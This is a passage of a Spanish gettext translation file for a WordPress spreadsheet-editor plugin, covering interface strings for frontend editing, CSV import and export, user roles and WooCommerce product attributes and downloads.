"Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: 